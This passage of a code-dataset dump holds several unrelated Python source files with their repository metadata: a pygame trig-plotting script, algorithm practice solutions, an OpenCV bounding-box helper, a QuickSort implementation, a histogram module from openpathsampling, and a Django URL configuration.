screen.blit(text, (100+dis, 525))\n elif b%1==0.5:\n if b==0.5:\n text=font.render(\"π\", True, BLACK)\n screen.blit(text, (105+dis, 515))\n l=font.render('__', True, BLACK)\n screen.blit(l, (100+dis, 515))\n u=font.render('2', True, BLACK)\n screen.blit(u, (105+dis, 535)) \n elif b==-0.5:\n text=font.render(\"-π\", True, BLACK)\n screen.blit(text, (100+dis, 515))\n l=font.render('__', True, BLACK)\n screen.blit(l, (100+dis, 515))\n u=font.render('2', True, BLACK)\n screen.blit(u, (105+dis, 535))\n elif b<0:\n text=font.render(str(int(b*2))+\"π\", True, BLACK)\n screen.blit(text, (93+dis, 515))\n l=font.render('__', True, BLACK)\n screen.blit(l, (99+dis, 515))\n u=font.render('2', True, BLACK)\n screen.blit(u, (103+dis, 535))\n elif b>0:\n text=font.render(str(int(b*2))+\"π\", True, BLACK)\n screen.blit(text, (100+dis, 515)) \n l=font.render('__', True, BLACK)\n screen.blit(l, (100+dis, 515))\n u=font.render('2', True, BLACK)\n screen.blit(u, (103+dis, 535)) \n dis+=48\n b+=0.5\n text=font.render('0', True, BLACK)\n screen.blit(text, (395, 525))\n font=pygame.font.SysFont(\"Times New Roman\", 30, italic=True)\n text=font.render('x', True, BLACK)\n screen.blit(text, (390, 555))\n for dis in range(0,3):\n font=pygame.font.SysFont(\"Times New Roman\", 15, italic=True)\n t=font.render(str(-3+dis), True, BLACK)\n screen.blit(t, (113+dis*80, 327))\n #graphofcos\n # x=-3*math.pi\n # x0=112\n # while(x0<=688):\n # pygame.draw.aalines(screen, BLUE, False, [(x0, 300-192*math.cos(x)),(x0, 300-192*math.cos(x))])\n # x0+=1/10.4\n # x+=math.pi/1000\n for x in range(112,688,3):\n pygame.draw.aalines(screen, BLUE, False, [(x, 300+192*math.cos((x-112)/96*math.pi)),(x+1, 300+192*math.cos((x-111)/96*math.pi))])\n #graphofsin\n # x=-3*math.pi\n # x0=112\n # while x0<=688:\n # pygame.draw.aalines(screen, RED, False, [(x0, 300-192*math.sin(x)),(x0+1/10.4, 300-192*math.sin(x))])\n # x0+=1/10.4\n # x+=math.pi/1000 \n for i in range(112,688):\n pygame.draw.aalines(screen, RED, False, [(i, 300+192*math.sin((i-112)/96*math.pi)),(i+1, 300+192*math.sin((i-111)/96*math.pi))])\n pygame.display.flip()\npygame.quit()","repo_name":"gharuks/001","sub_path":"TSIS7/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"20295791122","text":"import sys\n\n'''\n오늘의 지식 한잔 \n1. sort는 값 자체를 변경 , sorted는 기존 값은 놔두고 sort된 새로운 값을 return \n'''\ndef suger_delivery():\n N = int(input())\n\n arr = []\n\n x, _ = divmod(N,5)\n y, _ = divmod(N,3)\n\n for i in range(x+1):\n for j in range(y+1):\n if 5*i + 3*j == N:\n arr.append((i+j))\n if len(arr) == 0:\n print(-1)\n else:\n print(min(arr))\n\ndef coordicate_sort(): # 11650\n N = int(input())\n data = []\n for _ in range(N):\n data.append(list(map(int, input().split())))\n data.sort()\n\n for i in range(N):\n print(*data[i])\n\n\ndef escape_rectangle():\n data = list(map(int, input().split()))\n\n temp = []\n temp.append(min(data[0],data[2]-data[0]))\n temp.append(min(data[1],data[3]-data[1]))\n\n print(min(temp))\n\n\ndef alphabet_sort():\n N = int(input())\n data = []\n\n for _ in range(N):\n str_input = input()\n data.append(str_input)\n\n # 중복되는 것 filtering\n data = list(set(data))\n data.sort()\n data.sort(key=len)\n\n for i in data:\n print(i)\n\n\ndef reverse_same():\n while True:\n N = int(input())\n N_list = list(map(int, str(N)))\n if N ==0:\n break\n else:\n count = 0\n a,_ = divmod(len(N_list),2)\n for i in range(a):\n if N_list[i] == N_list[len(N_list)-1-i]:\n count +=1\n if count == a:\n print('yes')\n else:\n print('no')\n\n'''BF 문제인데 for문으로 다 돌려서 하나하나 찾아본다는 것인데...'''\ndef movie():\n N = int(input())\n name = 666\n cnt = 0\n while True:\n if \"666\"in str(name):\n cnt+=1\n if cnt == N: print(name);break\n\n name +=1\n\n\n\n\n\nif __name__==\"__main__\":\n movie()","repo_name":"firstdeep/Algorithm_python","sub_path":"solved_ac/class2/20221115.py","file_name":"20221115.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"39680864546","text":"import cv2\n\n\ndef draw_bbox_on_image(bbox, img, color=(0, 255, 0)):\n \"\"\"\n Draws a bounding box on an image.\n\n :param bbox: a BoundingBox object\n :param img: numpy image\n :param color: tuple (r, g, b) with the color of the bounding box\n :return:\n \"\"\"\n\n cv2.rectangle(img, (bbox.x, bbox.y), (bbox.x + bbox.w, bbox.y + bbox.h), color, 2)\n\n label = \"\"\n if bbox.identifier is not None:\n label += \"id: {} \".format(bbox.identifier)\n\n if bbox.confidence is not None:\n label += \"conf: {}\".format(bbox.confidence)\n\n if len(label):\n cv2.putText(img, label, (bbox.x + 5, bbox.y - 5), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)","repo_name":"sandergs92/SIR_G5","sub_path":"framework/sic_framework/core/utils_cv2.py","file_name":"utils_cv2.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5515836288","text":"__author__ = 'Aneesh Garg'\n\nimport random\nimport math\n\nFIRST_PIVOT = \"First\"\nLAST_PIVOT = \"Last\"\nRANDOM_PIVOT = \"Random\"\nMEDIAN_PIVOT = \"Median\"\n\nclass QuickSort:\n\n def __init__(self, pivotMode = RANDOM_PIVOT, modifiedSort = False):\n self.pivotMode = pivotMode\n self.modifiedSort = modifiedSort\n\n def sort(self, data):\n return self.inPlaceQuickSort(data,0,len(data)-1)\n\n def inPlaceQuickSort(self, data, left, right):\n size = right - left + 1\n #print(\"InPlace Quick sort on input size = \" + str(size))\n if left >= right:\n return data\n if not self.modifiedSort or (size > 10 and self.modifiedSort):\n pivotIndex, data = self.getPivotRank(data, left, right)\n #print(str(data) + \" pivotIndex=\" + str(pivotIndex))\n newPivotIndex, data = self.inPlacePartition(data, left, right, pivotIndex)\n #print(str(data) + \" newPivotIndex=\" + str(newPivotIndex))\n data = self.inPlaceQuickSort(data, left, newPivotIndex-1)\n data = self.inPlaceQuickSort(data, newPivotIndex + 1, right)\n else:\n data = self.insertionSort(data, left, right)\n return data\n\n def insertionSort(self, data, left, right):\n size = right - left + 1\n #print(\"Insertion sort on input size = \" + str(size))\n for j in range(left, right + 1):\n #print(str(j)+\" \"+str(data[j]))\n key = data[j]\n i = j - 1\n while i >= 0 and data[i] > key:\n data[i+1] = data[i]\n i -= 1\n data[i+1] = key\n return data\n\n def inPlacePartition(self, data, left, right, pivotIndex):\n pivotValue = data[pivotIndex]\n data[pivotIndex], data[right] = data[right], data[pivotIndex] #Move pivot to the end\n storeIndex = left\n for i in range(left, right):\n if data[i] <= pivotValue:\n data[i], data[storeIndex] = data[storeIndex], data[i]\n storeIndex += 1\n data[storeIndex], data[right] = data[right], data[storeIndex]\n return storeIndex, data\n\n def getPivotRank(self, data, minimum, maximum):\n rank = random.randint(minimum, maximum)\n if self.pivotMode == FIRST_PIVOT:\n rank = minimum\n elif self.pivotMode == LAST_PIVOT:\n rank = maximum\n elif self.pivotMode == MEDIAN_PIVOT:\n center = math.floor((minimum + maximum)/2)\n if data[center] < data[minimum]:\n data[center], data[minimum] = data[minimum], data[center]\n if data[maximum] < data[minimum]:\n data[maximum], data[minimum] = data[minimum], data[maximum]\n if data[maximum] < data[center]:\n data[maximum], data[center] = data[center], data[maximum]\n rank = center\n return rank, data\n\n","repo_name":"aneeshgarg/AlgorithmCode","sub_path":"Part1/QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34175074765","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport math\nfrom .lookup_function import LookupFunction, VoxelLookupFunction\nimport collections\nimport warnings\nfrom functools import reduce\n\n\nclass SparseHistogram(object):\n \"\"\"\n Base class for sparse-based histograms.\n\n Parameters\n ----------\n bin_widths : array-like\n bin (voxel) size\n left_bin_edges : array-like\n lesser side of the bin (for each direction)\n \"\"\"\n def __init__(self, bin_widths, left_bin_edges):\n self.bin_widths = np.array(bin_widths)\n if left_bin_edges is None:\n self.left_bin_edges = None\n else:\n self.left_bin_edges = np.array(left_bin_edges)\n self.count = 0\n self.name = None\n self._histogram = None\n\n def empty_copy(self):\n \"\"\"Returns a new histogram with the same bin shape, but empty\"\"\"\n return type(self)(self.bin_widths, self.left_bin_edges)\n\n def histogram(self, data=None, weights=None):\n \"\"\"Build the histogram.\n\n Parameters\n ----------\n data : list of list of floats\n input data\n weights : list of floats\n weight for each input data point\n\n Returns\n -------\n collection.Counter :\n copy of the current counter\n \"\"\"\n if data is None and self._histogram is None:\n raise RuntimeError(\"histogram() called without data!\")\n elif data is not None:\n self._histogram = collections.Counter({})\n return self.add_data_to_histogram(data, weights)\n else:\n return self._histogram.copy()\n\n @staticmethod\n def sum_histograms(hists):\n # (w, r) = (hists[0].bin_width, hists[0].bin_range)\n # newhist = Histogram(bin_width=w, bin_range=r)\n newhist = hists[0].empty_copy()\n newhist._histogram = collections.Counter({})\n\n for hist in hists:\n if not newhist.compare_parameters(hist):\n raise RuntimeError\n newhist.count += hist.count\n newhist._histogram += hist._histogram\n\n return newhist\n\n def map_to_float_bins(self, trajectory):\n return (np.asarray(trajectory) - self.left_bin_edges) / self.bin_widths\n\n def map_to_bins(self, data):\n \"\"\"\n Parameters\n ----------\n data : np.array\n input data\n\n Returns\n -------\n tuple:\n the bin that the data represents\n \"\"\"\n # Reshape data to prevent accidental wrong output\n data = np.asarray(data).reshape(self.left_bin_edges.shape)\n return tuple(np.floor((data - self.left_bin_edges) / self.bin_widths))\n\n def add_data_to_histogram(self, data, weights=None):\n \"\"\"Adds data to the internal histogram counter.\n\n Parameters\n ----------\n data : list or list of list\n input data\n weights : list or None\n weight associated with each datapoint. Default `None` is same\n weights for all\n\n Returns\n -------\n collections.Counter :\n copy of the current histogram counter\n \"\"\"\n if self._histogram is None:\n return self.histogram(data, weights)\n if weights is None:\n weights = [1.0]*len(data)\n\n part_hist = sum((collections.Counter({self.map_to_bins(d): w})\n for (d, w) in zip(data, weights)),\n collections.Counter({}))\n\n self._histogram += part_hist\n self.count += len(data) if weights is None else sum(weights)\n return self._histogram.copy()\n\n @staticmethod\n def _left_edge_to_bin_edge_type(left_bins, widths, bin_edge_type):\n if bin_edge_type == \"l\":\n return left_bins\n elif bin_edge_type == \"m\":\n return left_bins + 0.5 * widths\n elif bin_edge_type == \"r\":\n return left_bins + widths\n elif bin_edge_type == \"p\":\n pass # TODO: patches; give the range\n else:\n raise RuntimeError(\"Unknown bin edge type: \" + str(bin_edge_type))\n\n def xvals(self, bin_edge_type):\n \"\"\"Position values for the bin\n\n Parameters\n ----------\n bin_edge_type : 'l' 'm', 'r', 'p'\n type of values to return; 'l' gives left bin edges, 'r' gives\n right bin edges, 'm' gives midpoint of the bin, and 'p' is not\n implemented, but will give vertices of the patch for the bin\n\n Returns\n -------\n np.array :\n The values of the bin edges\n \"\"\"\n int_bins = np.array(self._histogram.keys())\n left_bins = int_bins * self.bin_widths + self.left_bin_edges\n return self._left_edge_to_bin_edge_type(left_bins, self.bin_widths,\n bin_edge_type)\n\n def __call__(self, bin_edge_type=\"m\"):\n return VoxelLookupFunction(left_bin_edges=self.left_bin_edges,\n bin_widths=self.bin_widths,\n counter=self._histogram)\n\n def normalized(self, raw_probability=False, bin_edge=\"m\"):\n \"\"\"\n Callable normalized version of the sparse histogram.\n\n Parameters\n ----------\n raw_probability : bool\n if True, the voxel size is ignored and the sum of the counts\n adds to one. If False (default), the sum of the counts times the\n voxel volume adds to one.\n bin_edge : string\n not used; here for compatibility with 1D versions\n\n Returns\n -------\n :class:`.VoxelLookupFunction`\n callable version of the normalized histogram\n \"\"\"\n voxel_vol = reduce(lambda x, y: x.__mul__(y), self.bin_widths)\n scale = voxel_vol if not raw_probability else 1.0\n norm = 1.0 / (self.count * scale)\n counter = collections.Counter({k: self._histogram[k] * norm\n for k in self._histogram.keys()})\n return VoxelLookupFunction(left_bin_edges=self.left_bin_edges,\n bin_widths=self.bin_widths,\n counter=counter)\n\n def compare_parameters(self, other):\n \"\"\"Test whether the other histogram has the same parameters.\n\n Used to check whether we can simply combine these histograms.\n\n Parameters\n ----------\n other : :class:`.SparseHistogram`\n histogram to compare with\n\n Returns\n -------\n bool :\n True if these were set up with equivalent parameters, False\n otherwise\n \"\"\"\n # None returns false: use that as a quick test\n if other is None:\n return False\n if self.left_bin_edges is None or other.left_bin_edges is None:\n # this is to avoid a numpy warning on the next\n return self.left_bin_edges is other.left_bin_edges\n if self.left_bin_edges != other.left_bin_edges:\n return False\n if self.bin_widths != other.bin_widths:\n return False\n return True\n\n\nclass Histogram(SparseHistogram):\n \"\"\"Wrapper for numpy.histogram with additional conveniences.\n\n In addition to the behavior in numpy.histogram, this provides a few\n additional calculations, as well as behavior that allows for better\n interactive use (tricks to assist caching by libraries using it, etc.)\n \"\"\"\n def __init__(self, n_bins=None, bin_width=None, bin_range=None):\n \"\"\"Creates the parameters for the histogram.\n\n Either `n_bins` or `bin_width` must be given. If `bin_width` is\n used, then `bin_range` is required. If `n_bins` is used, then\n `bin_range` is optional. `n_bins` overrides `bin_width`.\n\n If no options are given, the default is to use 20 bins and the\n range generated by np.histogram.\n \"\"\"\n # this is to compare whether another histogram had the same setup,\n # and is useful for other programs that want to cache a histogram\n self._inputs = [n_bins, bin_width, bin_range]\n\n # regularize options\n self.bin_width = bin_width\n self.bin_range = bin_range\n if bin_range is not None:\n max_bin = max(bin_range)\n min_bin = min(bin_range)\n if bin_width is not None:\n self.n_bins = int(math.ceil((max_bin-min_bin)/self.bin_width))\n # if this isn't actually divisible, you'll get one extra bin\n if n_bins is not None:\n self.n_bins = n_bins\n self.bin_width = (max_bin-min_bin)/(self.n_bins)\n self.bins = [min_bin + self.bin_width*i\n for i in range(self.n_bins+1)]\n else:\n if n_bins is not None:\n self.n_bins = n_bins\n self.bin_width = None\n else:\n self.n_bins = 20 # default\n self.bins = self.n_bins\n\n try:\n left_bin_edges = (self.bins[0],)\n except TypeError:\n left_bin_edges = None\n\n super(Histogram, self).__init__(bin_widths=(self.bin_width,),\n left_bin_edges=left_bin_edges)\n\n def empty_copy(self):\n return type(self)(bin_width=self.bin_width, bin_range=self.bin_range)\n\n def histogram(self, data=None, weights=None):\n \"\"\"Build the histogram based on `data`.\n\n Note\n ----\n Calling this with new data overwrites the previous histogram. This\n is the expected behavior; in using this, you should check if the\n histogram parameters have changed from a previous run (using\n `compare_parameters`) and you should be aware whether your data has\n changed. If you want to add data to the histogram, you should use\n `add_data_to_histogram`.\n \"\"\"\n if self.left_bin_edges is not None:\n return super(Histogram, self).histogram(data, weights)\n if data is not None:\n max_val = max(data)\n min_val = min(data)\n self.bin_width = (max_val-min_val)/self.bins\n self.left_bin_edges = np.array((min_val,))\n self.bin_widths = np.array((self.bin_width,))\n return super(Histogram, self).histogram(data, weights)\n\n def xvals(self, bin_edge_type=\"l\"):\n int_bins = np.array(list(self._histogram.keys()))[:, 0]\n # always include left_edge_bin as 0 point; always include 0 and\n # greater bin values (but allow negative)\n min_bin = min(min(int_bins), 0)\n n_bins = max(int_bins) - min_bin + 1\n width = self.bin_widths[0]\n left_bins = (self.left_bin_edges[0] + np.arange(n_bins) * width)\n return self._left_edge_to_bin_edge_type(left_bins, width,\n bin_edge_type)\n\n def __call__(self, bin_edge=\"m\"):\n \"\"\"Return copy of histogram if it has already been built\"\"\"\n vals = self.xvals(bin_edge)\n hist = self.histogram()\n bins = sorted(hist.keys())\n min_bin = min(bins[0][0], 0)\n max_bin = bins[-1][0]\n bin_range = range(int(min_bin), int(max_bin)+1)\n hist_list = [hist[(b,)] for b in bin_range]\n return LookupFunction(vals, hist_list)\n\n def compare_parameters(self, other):\n \"\"\"Return true if `other` has the same bin parameters as `self`.\n\n Useful for checking whether a histogram needs to be rebuilt.\n \"\"\"\n if not super(Histogram, self).compare_parameters(other):\n return False\n if type(other.bins) is not int:\n if type(self.bins) is int:\n return False\n for (t, b) in zip(self.bins, other.bins):\n if t != b:\n return False\n else:\n return self._inputs == other._inputs\n return True\n\n def _normalization(self):\n \"\"\"Return normalization constant (integral over this histogram).\"\"\"\n hist = self('l')\n bin_edges = self.xvals('l')\n dx = [bin_edges[i+1] - bin_edges[i] for i in range(len(bin_edges)-1)]\n dx += [dx[-1]] # assume the \"forever\" bin is same as last limited\n norm = np.dot(hist.values(), dx)\n return norm\n\n # Yes, the following could be cached. No, I don't think it is worth it.\n # Keep in mind that we need a separate cache for each one that we build,\n # and that typically it will take almost no time to build one of these\n # (runtime in linear in number of histogram bins). Adding caching\n # complicates the code for no real benefit (you're more likely to suffer\n # from L2 cache misses than to get a speedup).\n\n def normalized(self, raw_probability=False, bin_edge=\"m\"):\n \"\"\"Return normalized version of histogram.\n\n By default (`raw_probability` false), this returns the histogram\n normalized by its integral (according to rectangle-rule\n integration). If `raw_probability` is true, this returns the\n histogram normalized by the sum of the bin counts, with no\n consideration of the bin widths.\n \"\"\"\n normed_hist = self() # returns a copy\n nnorm = self._normalization() if not raw_probability else self.count\n norm = 1.0/nnorm\n normed_hist_list = [normed_hist(k) * norm for k in normed_hist.keys()]\n xvals = self.xvals(bin_edge)\n return LookupFunction(xvals, normed_hist_list)\n\n def cumulative(self, maximum=1.0, bin_edge=\"r\"):\n \"\"\"Cumulative from the left: number of values less than bin value.\n\n Use `maximum=None` to get the raw counts.\n \"\"\"\n cumul_hist = []\n total = 0.0\n hist = self(bin_edge)\n for k in sorted(hist.keys()):\n total += hist(k)\n cumul_hist.append(total)\n\n cumul_hist = np.array(cumul_hist)\n if total == 0:\n warnings.warn(\"No non-zero data in the histogram\")\n elif maximum is not None:\n cumul_hist *= maximum / total\n\n xvals = self.xvals(bin_edge)\n return LookupFunction(xvals, cumul_hist)\n\n def reverse_cumulative(self, maximum=1.0, bin_edge=\"l\"):\n \"\"\"Cumulative from the right: number of values greater than bin value.\n\n Use `maximum=None` to get the raw counts.\n \"\"\"\n cumul_hist = []\n total = 0.0\n hist = self(bin_edge)\n for k in reversed(sorted(hist.keys())):\n total += hist(k)\n cumul_hist.insert(0, total)\n\n cumul_hist = np.array(cumul_hist)\n if total == 0:\n warnings.warn(\"No non-zero data in the histogram\")\n elif maximum is not None:\n cumul_hist *= maximum / total\n\n xvals = self.xvals(bin_edge)\n return LookupFunction(xvals, cumul_hist)\n\n def rebinned(self, scaling):\n \"\"\"Redistributes histogram bins of width binwidth*scaling\n\n Exact if scaling is an integer; otherwise uses the assumption that\n original bins were uniformly distributed. Note that the original\n data is not destroyed.\n \"\"\"\n # TODO\n pass\n\n def plot_bins(self, scaling=1.0):\n \"\"\"Bins used in plotting. Scaling useful when plotting `rebinned`\"\"\"\n # TODO: add scaling support\n return self.bins[1:]\n\n\ndef histograms_to_pandas_dataframe(hists, fcn=\"histogram\", fcn_args={}):\n \"\"\"Converts histograms in hists to a pandas data frame\"\"\"\n keys = None\n frames = []\n for hist in hists:\n # check that the keys match\n if keys is None:\n keys = hist.xvals()\n for (t, b) in zip(keys, hist.xvals()):\n if t != b:\n raise Warning(\"Bins don't match up\")\n if hist.name is None:\n hist.name = int(hists.index(hist))\n\n hist_data = {\n \"histogram\": hist,\n \"normalized\": hist.normalized,\n \"reverse_cumulative\": hist.reverse_cumulative,\n \"cumulative\": hist.cumulative,\n \"rebinned\": hist.rebinned\n }[fcn](**fcn_args).values()\n\n bin_edge = {\n \"histogram\": \"m\",\n \"normalized\": \"m\",\n \"reverse_cumulative\": \"l\",\n \"cumulative\": \"r\"\n }[fcn]\n xvals = hist.xvals(bin_edge)\n frames.append(pd.DataFrame({hist.name: hist_data}, index=xvals))\n all_frames = pd.concat(frames, axis=1)\n return all_frames.fillna(0.0)\n\n\ndef write_histograms(fname, hists):\n \"\"\"Writes all histograms in list `hists` to file named `fname`\n\n If the filename is the empty string, then output is to stdout.\n Assumes that all files should have the same bins.\n \"\"\"\n pass\n\n# TODO: might as well add a main function to this; read data / weight from\n# stdin and output an appropriate histogram depending on some options. Then\n# it is both a useful script and a library class!\n\n\nclass Histogrammer(object):\n \"\"\"\n Basically a dictionary to track what each histogram should be making.\n \"\"\"\n def __init__(self, f, f_args=None, hist_args=None):\n self.f = f\n self.f_args = f_args\n self._hist_args = hist_args\n self.empty_hist = Histogram(**self._hist_args)\n\n @property\n def hist_args(self):\n return self._hist_args\n\n @hist_args.setter\n def hist_args(self, val):\n self._hist_args = val\n self.empty_hist = Histogram(**self._hist_args)\n\n\nclass HistogramPlotter2D(object):\n \"\"\"\n Convenience tool for plotting 2D histograms and plotting data atop them.\n\n The difficulty is that matplotlib uses the row/column *numbers* of a\n pandas.DataFrame as the actual internal axis. This class carries all the\n information to properly plot things (even mapping to CVs, if the\n histogram supports that).\n\n The descriptions below will discuss \"real space,\" \"bin space,\" and\n \"frame space.\" Real space refers to the actual values of the input data.\n Bin space refers to the bins that come out of that for histogramming\n (made into continuous parameters). Frame space is bin space shifted such\n that the lowest bin values are 0.\n\n Parameters\n ----------\n histogram : :class:`.SparseHistogram`\n input histogram to plot\n normed : bool\n whether to normalize the histogram (using raw_probability=True)\n xticklabels : list of float\n the desired locations for plot xticks, in real space\n yticklabels : list of float\n the desired locations for plot yticks, in real space\n xlim : 2-tuple of (float, float)\n horizontal (x-value) range of (minimum, maximum) bounds for\n displaying the plot\n ylim : 2-tuple of (float, float)\n vertical (y-value) range of (minimum, maximum) bounds for\n displaying the plot\n label_format : string\n Python format-style string for formatting tick labels. Default is\n '{:}'.\n \"\"\"\n def __init__(self, histogram, normed=True, xticklabels=None,\n yticklabels=None, xlim=None, ylim=None,\n label_format=\"{:}\"):\n self.histogram = histogram\n self.normed = normed\n self.xticklabels = xticklabels\n self.yticklabels = yticklabels\n self.xlim = xlim\n self.ylim = ylim\n self.label_format = label_format\n\n self.xticks_, self.xlim_, self.yticks_, self.ylim_ = self.axes_setup(\n xticklabels, yticklabels, xlim, ylim\n )\n\n def to_bins(self, alist, dof):\n \"\"\"Convert real-space values to bin-space values for a given dof\n\n Parameters\n ----------\n alist : list of float\n input in real-space\n dof : integer (0 or 1)\n degree of freedom; 0 is x, 1 is y\n\n Returns\n -------\n list of float :\n the outputs in bin-space\n \"\"\"\n left_edge = self.histogram.left_bin_edges[dof]\n bin_width = self.histogram.bin_widths[dof]\n result = None\n if alist is not None:\n result = (np.asarray(alist) - left_edge) / bin_width\n return result\n\n def axis_input(self, hist, ticklabels, lims, dof):\n \"\"\"Get ticks, range, and limits for a given DOF\n\n Parameters\n ----------\n hist : list of float\n input data from the histogram (bin-space)\n ticklabels : list of float or None\n user-set tick labels for this DOF (real-space)\n lims : 2-tuple (float, float) or None\n user-set plot limits for this DOF\n dof : integer (0 or 1)\n degree of freedom; 0 is x, 1 is y\n\n Returns\n -------\n ticks_ : list of float or None\n user-set ticks in bin-space\n range_ : list of float\n range for the pandas.DataFrame (bin-space)\n lims_ : 2-tuple (float, float)\n range for plot visualization (bin-space)\n \"\"\"\n ticks_ = self.to_bins(ticklabels, dof)\n lims_ = self.to_bins(lims, dof)\n ticks = [] if ticks_ is None else list(ticks_)\n lims = [] if lims_ is None else list(lims_)\n range_ = (int(min(list(hist) + ticks + lims)),\n int(max(list(hist) + ticks + lims)))\n if lims_ is None:\n lims_ = (0, range_[1] - range_[0])\n else:\n lims_ = (lims_[0] - range_[0], lims_[1] - range_[0])\n return (ticks_, range_, lims_)\n\n def axes_setup(self, xticklabels, yticklabels, xlim, ylim):\n r\"\"\"Set up both x-axis and y-axis for plotting.\n\n Also sets self.xrange\\_ and self.yrange\\_, which are the (bin-space)\n bounds for the pandas.DataFrame.\n\n Parameters\n ----------\n xticklabels : list of float\n the desired locations for plot xticks, in real space\n yticklabels : list of float\n the desired locations for plot yticks, in real space\n xlim : 2-tuple of (float, float)\n horizontal (x-value) range of (minimum, maximum) bounds for\n displaying the plot\n ylim : 2-tuple of (float, float)\n vertical (y-value) range of (minimum, maximum) bounds for\n displaying the plot\n\n Returns\n -------\n xticks_ : list of float or None\n user-set xticks in bin-space\n xlim_ : 2-tuple (float, float)\n range in x for plot visualization (bin-space)\n yticks_ : list of float or None\n user-set yticks in bin-space\n ylim_ : 2-tuple (float, float)\n range in y for plot visualization (bin-space)\n \"\"\"\n if xticklabels is None:\n xticklabels = self.xticklabels\n if yticklabels is None:\n yticklabels = self.yticklabels\n if xlim is None:\n xlim = self.xlim\n if ylim is None:\n ylim = self.ylim\n x, y = list(zip(*self.histogram._histogram.keys()))\n xticks_, xrange_, xlim_ = self.axis_input(x, xticklabels, xlim, dof=0)\n yticks_, yrange_, ylim_ = self.axis_input(y, yticklabels, ylim, dof=1)\n self.xrange_ = xrange_\n self.yrange_ = yrange_\n return (xticks_, xlim_, yticks_, ylim_)\n\n def ticks_and_labels(self, ticks, ax, dof):\n \"\"\"Obtain the plot ticks and tick labels for given dof.\n\n Parameters\n ----------\n ticks : list of float or None\n user-set input (bin-space) for tick locations\n ax : matplotlib.Axes\n axes from the plot\n dof : integer (0 or 1)\n degree of freedom; 0 is x, 1 is y\n\n Returns\n -------\n ticks : list of float\n tick locations (bin-space, suitable for matplotlib)\n labels : list of string\n labels for the ticks\n \"\"\"\n if dof == 0:\n ax_ticks = ax.get_xticks()\n minval = self.xrange_[0]\n bw = self.histogram.bin_widths[0]\n edge = self.histogram.left_bin_edges[0]\n elif dof == 1:\n ax_ticks = ax.get_yticks()\n minval = self.yrange_[0]\n bw = self.histogram.bin_widths[1]\n edge = self.histogram.left_bin_edges[1]\n else: # pragma: no cover\n raise RuntimeError(\"Bad DOF: \" + str(dof))\n to_val = lambda n: (n + minval) * bw + edge\n ticks = ticks if ticks is not None else ax_ticks\n labels = [self.label_format.format(to_val(n)) for n in ticks]\n return (ticks, labels)\n\n def plot(self, normed=None, xticklabels=None, yticklabels=None,\n xlim=None, ylim=None, **kwargs):\n \"\"\"Plot the histogram.\n\n Parameters\n ----------\n normed : bool\n whether to normalize the histogram (using raw_probability=True)\n xticklabels : list of float\n the desired locations for plot xticks, in real space\n yticklabels : list of float\n the desired locations for plot yticks, in real space\n xlim : 2-tuple of (float, float)\n horizontal (x-value) range of (minimum, maximum) bounds for\n displaying the plot\n ylim : 2-tuple of (float, float)\n vertical (y-value) range of (minimum, maximum) bounds for\n displaying the plot\n kwargs :\n additional arguments to pass to plt.pcolormesh\n\n Returns\n -------\n PolyCollection :\n return value of plt.pcolormesh\n \"\"\"\n if normed is None:\n normed = self.normed\n\n xticks_, xlim_, yticks_, ylim_ = self.axes_setup(\n xticklabels, yticklabels, xlim, ylim\n )\n\n if normed:\n hist_fcn = self.histogram.normalized(raw_probability=True)\n else:\n hist_fcn = self.histogram()\n df = hist_fcn.df_2d(x_range=self.xrange_, y_range=self.yrange_)\n self.df = df\n\n mesh = plt.pcolormesh(df.fillna(0.0).transpose(), **kwargs)\n\n (xticks, xlabels) = self.ticks_and_labels(xticks_, mesh.axes, dof=0)\n (yticks, ylabels) = self.ticks_and_labels(yticks_, mesh.axes, dof=1)\n\n mesh.axes.set_xticks(xticks)\n mesh.axes.set_yticks(yticks)\n mesh.axes.set_xticklabels(xlabels)\n mesh.axes.set_yticklabels(ylabels)\n plt.xlim(xlim_[0], xlim_[1])\n plt.ylim(ylim_[0], ylim_[1])\n plt.colorbar()\n return mesh\n\n def plot_trajectory(self, trajectory, *args, **kwargs):\n \"\"\"Plot a trajectory (or CV trajectory) on the axes.\n\n Additional arguments pass to plt.plot.\n\n Parameters\n ----------\n trajectory : :class:`.Trajectory` or list of 2-tuple\n list to plot; paths.Trajectory allowed if the histogram can\n convert it to CVs.\n \"\"\"\n x, y = list(zip(*self.histogram.map_to_float_bins(trajectory)))\n px = np.asarray(x) - self.xrange_[0]\n py = np.asarray(y) - self.yrange_[0]\n plt.plot(px, py, *args, **kwargs)\n","repo_name":"openpathsampling/openpathsampling","sub_path":"openpathsampling/numerics/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":26899,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"78"}
+{"seq_id":"25787899491","text":"from django.urls import path\nfrom django.contrib.auth import views as auth_views\nfrom .views import checkin, checkinlist, delete_view, search, notfound, update, updetails, delete_view, deleting\n\napp_name= \"account\"\n\nurlpatterns=[\n path('', auth_views.LoginView.as_view(template_name ='account/login.html'), name=\"loginview\"),\n path('logout/', auth_views.LogoutView.as_view(template_name ='account/logout.html'), name=\"logoutview\"),\n path('checkin/', checkin, name=\"checkinview\"),\n path('checkinlist/', checkinlist, name=\"checkedview\"),\n path('search/', search , name=\"search\"),\n path('notfound/', notfound , name=\"notfound\"),\n path('update/', update , name=\"update\"),\n path('updetails/', updetails, name=\"updetailsview\"),\n path('delete/', delete_view , name=\"deleteview\"),\n path('deleting/', deleting , name=\"deletingview\"),\n \n]","repo_name":"Kunlexy/Hotel-Management","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
